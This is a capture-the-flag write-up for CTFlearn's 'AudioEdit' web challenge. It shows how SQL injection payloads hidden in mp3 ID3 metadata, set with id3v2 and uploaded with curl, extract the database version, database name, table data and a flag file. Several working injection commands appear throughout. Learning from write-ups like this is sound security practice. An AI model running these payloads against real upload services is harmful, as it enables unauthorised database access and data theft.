AudioEdit Writeup - CTFlearn 

AudioEdit is a hard web challenge on CTFlearn. That challenge is about exploiting SQL injection vulnerability in the metadata of an audio file.


When we visit the website, we see a simple audio editing tool. We can upload an audio file, and then we can apply some effects to it.


If we upload a mp3 file, we can see that the author of the music and the title of the song are displayed, which are extracted from the metadata of the file.

So I downloaded an arbitrary mp3 file from that website and edited the metadata using id3v2 tool.

Install the tool using the following command.

sudo apt-get install -y id3v2

Then I changed the author of the song to AAAAAAAAAAAAAAAAAAAAAA.


I uploaded the file to the website and I saw that the metadata was changed.


I inferred that when we upload a file, the server extracts the metadata and stores it in a database. So I tried to upload an mp3 file with a sql injection in the metadata.

id3v2 -a "AAAAAAAAAAAAAAAAAAAAAA' OR 1=1 --" empty.mp3

To speed up the process, we can send the request to the server using curl and extract the author of the song from the response.

sarp@IdeaPad:/tmp$ id3v2 -a "aAAAAAAAAAAAAAAAAAAAAAA' OR 1=1 --" empty.mp3 | curl -X POST -F "[email protected]" ""  -L 

Error inserting into database!

The server returned an error message, which means that the sql injection may be successful.

Assume that the query executed by the server is like this:

INSERT INTO audios (id, author, title) VALUES (NULL, '$author', '$title');

Since it is likely insertion-based SQL injection and reflects the author field, we can try to extract the version of the database management system.

sarp@IdeaPad:/tmp$ id3v2 -a "$(xxd -l16 -ps /dev/urandom)', VERSION() ) -- -" empty.mp3 |  curl -X POST -F "[email protected]" ""  -L -s | grep -oP '<h5>Title: <small>\K[^<]+'


We successfully extracted the version of the database management system. It is MySQL 5.5.58.

The reason why I used xxd -l16 -ps /dev/urandom is to generate a random string of length 16 and make the file unique. Otherwise, the server won’t accept the same file.

Also, I wrote a grep command to extract title section from the response.

Now, we can extract the name of the database.

id3v2 -a "$(xxd -l16 -ps /dev/urandom)', DATABASE() ) -- -" empty.mp3 |  curl -X POST -F "[email protected]" ""  -L -s | grep -oP '<h5>Title: <small>\K[^<]+'


The name of the database is audioedit. Here, I have tried many different payloads to extract the table names and column names. But I couldn’t find any useful information. Because we even don’t have the read permission on the information_schema database. The payloads I tried are perfectly valid, I know that because I tried them on my local MySQL server.

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='audioedit';

This query should return the table names in the audioedit database. But it didn’t work.

So, there’s nothing left to do but to guess the table name and column names.

I tried to extract the flag from the flag table but I couldn’t find the table name. Then I tried the audioedit table and I was successful.

sarp@IdeaPad:/tmp$ id3v2 -a "$(xxd -l16 -ps /dev/urandom)', (SELECT title FROM audioedit as a LIMIT 1) ) -- -" empty.mp3 |  curl -X POST -F "[email protected]" ""  -L -s | grep -oP '<h5>Title: <small>\K[^<]+'


Seems like we are in the right direction. In the audioedit table, there is a column named title and the first row contains an entry having the value flag.

Keep the payload the same and change the column name to author.

sarp@IdeaPad:/tmp$ id3v2 -a "$(xxd -l16 -ps /dev/urandom)', (SELECT author FROM audioedit as a LIMIT 1) ) -- -" empty.mp3 |  curl -X POST -F "[email protected]" ""  -L -s | grep -oP '<h5>Title: <small>\K[^<]+'


Since the URL is formed like this, we can try to extract the file column from the audioedit table.

Here is the command to extract the file column.

sarp@IdeaPad:/tmp$ id3v2 -a "$(xxd -l16 -ps /dev/urandom)', (SELECT file FROM audioedit as a LIMIT 1) ) -- -" empty.mp3  |  curl -X POST -F "[email protected]" ""  -L -s | grep -oP '<h5>Title: <small>\K[^<]+'


Bingo! We found the name of the file that contains the flag. Now we can download the file using the following URL.

Actually, the challenge was done at this point. However, years have passed since the challenge was published, the site does not work properly. So we couldn’t see the spectogram of the audio file. But we can still download the file and listen to it.


After I did some research and found a repository that the javascript implementation of the spectogram. I forked the repository and made some changes to make it work with the downloaded file.


You can visit the repository I forked and hosted on GitHub Pages here


The flag is ABCTF{m3t4_inj3cti00n}.


Huh! That’s a lot of work. I hope you enjoyed the challenge as much as I did. If you have any questions, feel free to ask me on Twitter.